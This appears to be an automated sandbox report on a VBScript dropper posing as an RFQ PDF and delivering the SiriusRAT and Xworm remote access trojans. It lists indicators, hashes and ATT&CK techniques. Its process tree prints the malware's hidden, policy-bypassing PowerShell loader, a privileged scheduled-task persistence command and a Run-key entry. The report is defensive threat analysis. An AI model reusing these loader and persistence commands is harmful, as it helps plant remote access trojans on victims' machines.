siriusrat | 5f63fe34d77b1eff07a9eef9d7ca1df2537aa90cb1d3fc2e215086d2397313c5

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/09/2026, 08:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ-SCM04429866,PDF.vbs
Size 5.1MB
Sample260923-keze3sys4l
SHA256 5f63fe34d77b1eff07a9eef9d7ca1df2537aa90cb1d3fc2e215086d2397313c5
MD5 1ea2337041955b62e238861d63424639
SHA1 00f7619d4dbb3273b070bd78a38bb3af0d491f7f
SHA512 9d805f5cba3e4a72134d17dcb3564f802038220fbc01d85153859ad9d9d1562b36d2421a311ec30c0c5b6faeb58a57c1ffa3ed7425aad3bcf8001baa85978487
SSDEEP 192:NPZXbB3A9eIdr4BaMteQmiqVc6Iu5+ZEPp5wkRKwKfeEYcz/QmZ7Lw5vrE1XQHyL:PP+jlpDYue
TLSH
T140464BA06A6EF74EC21EE487D4D6CC428C96A04D05DB4ADE537F07C4B4A680ED679F2C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution siriusrat xworm persistence privilege_escalation rat trojan

Malware Config

Signatures

Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
rat siriusrat
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5512-25-0x0000000000400000-0x000000000041E000-memory.dmp	family_xworm

Detects SiriusRAT 1 IoCs

resource	yara_rule
behavioral2/memory/1820-67-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2104	3076	powershell.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4152	3076	powershell.exe	90

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2104	powershell.exe
10	4152	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe
704	powershell.exe
4152	powershell.exe
4588	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWClient.lnk	Caspol.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWClient.lnk	Caspol.exe

Executes dropped EXE 6 IoCs

pid	Process
1792	XWClient.exe
2308	XWClient.exe
4736	XWClient.exe
5160	CasPol.exe
4148	XWClient.exe
1712	XWClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\XWClient = "C:\\ProgramData\\XWClient.exe"	Caspol.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3424	WScript.exe
4408	WScript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2104 set thread context of 5512	2104	powershell.exe	95
PID 4152 set thread context of 1820	4152	powershell.exe	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000_Classes\Local Settings	Caspol.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4368	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2104	powershell.exe
2104	powershell.exe
2104	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
5512	Caspol.exe
4152	powershell.exe
4152	powershell.exe
4152	powershell.exe
4588	powershell.exe
4588	powershell.exe
4588	powershell.exe
5512	Caspol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe
5160	CasPol.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeDebugPrivilege	5512	Caspol.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	5160	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5512	Caspol.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 3424 wrote to memory of 704	3424	WScript.exe	93
PID 2104 wrote to memory of 5512	2104	powershell.exe	95
PID 2104 wrote to memory of 5512	2104	powershell.exe	95
PID 2104 wrote to memory of 5512	2104	powershell.exe	95
PID 2104 wrote to memory of 5512	2104	powershell.exe	95
PID 2104 wrote to memory of 5512	2104	powershell.exe	95
PID 5512 wrote to memory of 4368	5512	Caspol.exe	96
PID 5512 wrote to memory of 4408	5512	Caspol.exe	104
PID 4408 wrote to memory of 4588	4408	WScript.exe	107
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 4152 wrote to memory of 1820	4152	powershell.exe	110
PID 5512 wrote to memory of 5284	5512	Caspol.exe	111
PID 5284 wrote to memory of 3400	5284	csc.exe	113
PID 5512 wrote to memory of 5160	5512	Caspol.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ-SCM04429866,PDF.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$constraining=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$mathamatical=[Convert]::FromBase64String($constraining);[AppDomain]::CurrentDomain.Load($mathamatical)|Out-Null;[Win32.RMP.Cls_gnpHRaKEbS]::Met_gnpHRaKEbSBr('6igj714j1ihSXEasl3raEEdnvDYAG3g2KsFV3Dk81Nrz0BeIikFV8EarIdm1nvP9','','Ns+xkyvwiEnuGu1koPsoKnge6fZS/liEOZ4he8/SFIJY6r/6WQeQe3UUjTrrIi6g','clitCe/QlseifhsK9hdEw1Zd30AFfk7sLCEdBnjsz2A=','lPzeMzCrPQZxbD25oAyAQNbZWl4yAEn9o0GbBmLb7ro=','','K7ICtH/bMyh6H0XJvGhOoD5IdvYV7bmVMzOVtjXaWVo=','','60QhRBVyS31jEVU8ehdjrtxsGZySyuU9ypEJECa4bAY=','8YpipXvtW3LKzNQgwn1wDYtEYNpwPt0yzy/rDROPS3vdblHB4SdMDsrvW+dP3WPp','chK2TkIIvLfiGj3EVNLfPgjcn6exVkVJRn5RiJXQuj8=','NHpC9NTjQM/pG+sZz+Lqt6oHwkwepj44M9m+YNHbdbw=','fqgPzN707zMvCzKnW6kS6zrl8EZNmbok0ontB7Mp58Y=','','h3Wb5EAzzF8UXly2zhId8uRLmmXFTH5W+ZErr1AkF1o=','jFECIUB2Utuifc6uI9okSrj6HkipTBsteWA/PZfB97c=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$constraining=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$mathamatical=[Convert]::FromBase64String($constraining);[AppDomain]::CurrentDomain.Load($mathamatical)|Out-Null;[Win32.RMP.Cls_gnpHRaKEbS]::Met_gnpHRaKEbSBr('6igj714j1ihSXEasl3raEEdnvDYAG3g2KsFV3Dk81Nrz0BeIikFV8EarIdm1nvP9','','Ns+xkyvwiEnuGu1koPsoKnge6fZS/liEOZ4he8/SFIJY6r/6WQeQe3UUjTrrIi6g','clitCe/QlseifhsK9hdEw1Zd30AFfk7sLCEdBnjsz2A=','lPzeMzCrPQZxbD25oAyAQNbZWl4yAEn9o0GbBmLb7ro=','','K7ICtH/bMyh6H0XJvGhOoD5IdvYV7bmVMzOVtjXaWVo=','','60QhRBVyS31jEVU8ehdjrtxsGZySyuU9ypEJECa4bAY=','8YpipXvtW3LKzNQgwn1wDYtEYNpwPt0yzy/rDROPS3vdblHB4SdMDsrvW+dP3WPp','chK2TkIIvLfiGj3EVNLfPgjcn6exVkVJRn5RiJXQuj8=','NHpC9NTjQM/pG+sZz+Lqt6oHwkwepj44M9m+YNHbdbw=','fqgPzN707zMvCzKnW6kS6zrl8EZNmbok0ontB7Mp58Y=','','h3Wb5EAzzF8UXly2zhId8uRLmmXFTH5W+ZErr1AkF1o=','jFECIUB2Utuifc6uI9okSrj6HkipTBsteWA/PZfB97c=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Creates a file in the Startup directory
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5512
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWClient" /tr "C:\ProgramData\XWClient.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4368
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\glvynd.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4408
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$perpetuable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$megagamete=[Convert]::FromBase64String($perpetuable);[AppDomain]::CurrentDomain.Load($megagamete)|Out-Null;[Win32.RMP.Cls_QErhtQHxup]::Met_QErhtQHxupfz('XP2mNCwaylo26RX3PydpoBJc9a5PjDLHXbzaMmxLw6HZjOM2srNVAy8kMwLQ7gWh','','cPYz7Orsc0TmYJmxHiqa91xeBrx2UXbU/jjxsep4OSB3jA4TXtQmrNgU+P3mx1Iy','sB23OjTj7nb+Ti/QXAWSPlaVf1+cNoSigxtp3HoWnY8=','wFHg9AgBKQPpw1NMS+M9lgrS+4RngHHarbfiwHXiid0=','','LnvUuYG1CuFr1GZvckhXVnBrLjp5PY9XOkKk74j8VUo=','','W+R/38vP39Mwx7XQ3isCC/idKOB/MFdiVqD8JUSz7uw=','1NcifK5C9mckQwqvDmFelsRC73h3n9e2SMhg71MuCvwzqjugUKdNy2viZPC/5BoH','5Fq6nmC7Tj64K2bchJHzComus0lIBdXaH0UQd78hxBk=','VBfw98Y/OjJWmYWuc4G8OZN0pakFpRJOg/gNHmQIPW8=','PEfi4Mg+kM7YORS7wT0lVG0yXqO05VHZb5xfhwNjHs4=','','CZsGgyGaBDKxFfpVLbpTawWzAoRLMBxJzjqHDh428oM=','umaEw3YWeCWUUGN42ca7sRJmfSQdkg83AfS+WINly+0=','','','')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4588
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_b1c3b31b353d4b0d921f0b0d1892d26b.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5284
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC6D1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC49B2524789A6465FB24A8D7B33B109.TMP"
      4⤵
      PID:3400
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 5512
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5160

C:\ProgramData\XWClient.exe
C:\ProgramData\XWClient.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1792

C:\PROGRA~3\XWClient.exe
C:\PROGRA~3\XWClient.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2308

C:\ProgramData\XWClient.exe
"C:\ProgramData\XWClient.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$perpetuable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$megagamete=[Convert]::FromBase64String($perpetuable);[AppDomain]::CurrentDomain.Load($megagamete)|Out-Null;[Win32.RMP.Cls_QErhtQHxup]::Met_QErhtQHxupfz('XP2mNCwaylo26RX3PydpoBJc9a5PjDLHXbzaMmxLw6HZjOM2srNVAy8kMwLQ7gWh','','cPYz7Orsc0TmYJmxHiqa91xeBrx2UXbU/jjxsep4OSB3jA4TXtQmrNgU+P3mx1Iy','sB23OjTj7nb+Ti/QXAWSPlaVf1+cNoSigxtp3HoWnY8=','wFHg9AgBKQPpw1NMS+M9lgrS+4RngHHarbfiwHXiid0=','','LnvUuYG1CuFr1GZvckhXVnBrLjp5PY9XOkKk74j8VUo=','','W+R/38vP39Mwx7XQ3isCC/idKOB/MFdiVqD8JUSz7uw=','1NcifK5C9mckQwqvDmFelsRC73h3n9e2SMhg71MuCvwzqjugUKdNy2viZPC/5BoH','5Fq6nmC7Tj64K2bchJHzComus0lIBdXaH0UQd78hxBk=','VBfw98Y/OjJWmYWuc4G8OZN0pakFpRJOg/gNHmQIPW8=','PEfi4Mg+kM7YORS7wT0lVG0yXqO05VHZb5xfhwNjHs4=','','CZsGgyGaBDKxFfpVLbpTawWzAoRLMBxJzjqHDh428oM=','umaEw3YWeCWUUGN42ca7sRJmfSQdkg83AfS+WINly+0=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  2⤵
  PID:1820

C:\ProgramData\XWClient.exe
"C:\ProgramData\XWClient.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4148

C:\ProgramData\XWClient.exe
"C:\ProgramData\XWClient.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XWClient.exe

Path C:\ProgramData\XWClient.exe
Size 99KB
SHA256 57e9675902b443085e37ead57dfed97de6bb61321682bc93aff30f16b5ca5aeb
MD5 f61fa5ce25f885a9b1f549055c9911ed
SHA1 aba1c035b06017b0b0bd1c712669646e4f3765ab
SHA512 02e3db343037294fd3b774f954c9a617a50715e6b89d7c409f3c7dc5a1cf5ed9418158c442e9e80111994da139a9a16db33ac68a833d6d115c4a41bdf75751ac
SSDEEP 1536:VSF7vAYeRqH3ex0Jj/3MZpEktOgl6mdcQ6A4vrZZ1RpvlWN4wpzh:qAYeXGJy96mdclA4vrNRpvlsld
TLSH
T140A3B465B3FD1224F2FF8B70ADF89452453BBD9BA951C26D2C89028906327C1D922F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 3087ca1cd1b84da3f4599b9ca019e968b23b6e40273495dd7d5632aa9fa252e0
MD5 0d443a634414c5f0bdc529a3e56de8d0
SHA1 371963a5c059efee9600a4193bcec8e4929ee1b3
SHA512 4923e6354a3983330f7ec275931944625cf214c357847d3451f770983beefa248ecd6aa2375557be39698057b065e6a851a2512e6b81943827503f227966b73f
TLSH
T16E116633F3CC8624DC5A403610CEA82136B687CB44DECE6B7B84D154B42F685DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 23e5afc812295bb869a98b45e00fd3b629a4c135740edc20edbff72a0672897e
MD5 96c0ab9ce261ed7f69de3982124667a2
SHA1 bc6ae5f74f473883da06bcab3c5df904bca032fe
SHA512 b21b11cd34d12f106849aed5a4178c28414d2f3c2ffae61880e4499ffe5b6b2ce2dc4a926d1b7edd388b818ab9b42a2ac939cd6bd2bf7fc784cd735fb5f18153
SSDEEP 384:W1TBaG/y4b8GU/+E+EeC/dVLoyTk1IAX940SdynuWl1tIMpScH5SG9:2Tn/rAx/+E++d6y+IAX9TSd/UScZz9
TLSH
T14562A6A8213F7DC7D4D2267065D602EBEFE0D08D57761198AF2BCA2F5CA0EBA4F51520
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 77773c41af676709984e9fbbaaf0d4c150b8729f6345ce1ea2c554febf802d1c
MD5 c0350e0d165303c21885e2d186ae08c1
SHA1 5ecad66329178424ce7cc28aa1c80f6377b198d5
SHA512 5c272c065a7d9cf7503d5eec92e19e8562ef65ad926b5c3f49fedb705914fe524e162e41d8f78c38111837dca687cdc17a4c5bf8be6fd4c25f73243b2a8964ab
SSDEEP 96:hdew7V9qOOoT8BynqgHlNxNE07yKk2zNt:hv2OOWoyqgHjo070Q
TLSH
T1A0C1B3879798436AD0620731BCB303512778E9225B6BABAF24F4133A2EB639009533F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESC6D1.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC6D1.tmp
Size 1KB
SHA256 534b5f001675168cb04f0d243b58dbba4f8a035642e866a9f6ff560074be462f
MD5 cfc0419106492f8b2e584f04dea36066
SHA1 7e3ef4d5f987512d74d9ad5a1d0b21bf94ee370e
SHA512 1886a8a18131217c89b6bc1a43d5639851245d381cf401008286572aa84a7a8c03b1aae0353018bea2e717df6bad32a6a455b5a44eaf1a8fb631d73ed7d9aed0
TLSH
T1A241234183E84B1FE17207716CF79725A278FE66AEAA475D7484122E2F12740DD836B2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lfv0zgqj.a5h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lfv0zgqj.a5h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

glvynd.vbs

Path C:\Users\Admin\AppData\Local\Temp\glvynd.vbs
Size 4.9MB
SHA256 cd904a219994135509cc73ae02eb6eaa5048438e662cb0d7081046282320f692
MD5 a11d9d7ca2304db796d08e51aba81340
SHA1 c399004cf68996c8fde497070959f4fabcb73d23
SHA512 5911b7da9284e183a179b318a0f563cc7dee3c61c6e8c571e425a7ed3ec56420fd0a7479b2b66e20605b15544e77ca8dddda0ca0bd3202e4870df27541da23c0
SSDEEP 6144:5Tf0Kw9byR2Z0QK+jk3/RrI3LU/QRp7icUUWBzaUs4GiBmjRkRniaZGSaZpPryTb:R
TLSH
T1F6364F680E2C49C57EA1E49BCE54BC59FB3B09710DF93E2E9889454D3BD21F5B23224E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC49B2524789A6465FB24A8D7B33B109.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC49B2524789A6465FB24A8D7B33B109.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_b1c3b31b353d4b0d921f0b0d1892d26b.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_b1c3b31b353d4b0d921f0b0d1892d26b.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/704-34-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-22-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-31-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-24-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-27-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-23-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-20-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/704-21-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/1820-67-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/2104-18-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-5-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-1-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-0-0x00007FFDC278F000-0x00007FFDC2790000-memory.dmp

Download

memory/2104-17-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-28-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-2-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-3-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-16-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-15-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-14-0x000001FBFD7E0000-0x000001FBFD802000-memory.dmp

Download

memory/2104-4-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-19-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-8-0x000001FBFDCC0000-0x000001FBFDCE2000-memory.dmp

Download

memory/2104-13-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-9-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2104-12-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

Download

memory/2308-45-0x0000000000690000-0x00000000006AC000-memory.dmp

Download

memory/4152-57-0x000001B34CE00000-0x000001B34CE22000-memory.dmp

Download

memory/4588-69-0x0000000006690000-0x00000000066B2000-memory.dmp

Download

memory/4588-60-0x0000000005C10000-0x0000000005C32000-memory.dmp

Download

memory/4588-61-0x0000000005CB0000-0x0000000005D16000-memory.dmp

Download

memory/4588-64-0x0000000005E10000-0x000000000616B000-memory.dmp

Download

memory/4588-65-0x00000000062C0000-0x00000000062DE000-memory.dmp

Download

memory/4588-66-0x00000000062F0000-0x000000000633C000-memory.dmp

Download

memory/4588-58-0x0000000004DE0000-0x0000000004E16000-memory.dmp

Download

memory/4588-59-0x0000000005480000-0x0000000005ACA000-memory.dmp

Download

memory/5160-88-0x00000000006E0000-0x00000000006E8000-memory.dmp

Download

memory/5284-85-0x0000016481DC0000-0x0000016482764000-memory.dmp

Download

memory/5512-40-0x0000000006860000-0x00000000068F2000-memory.dmp

Download

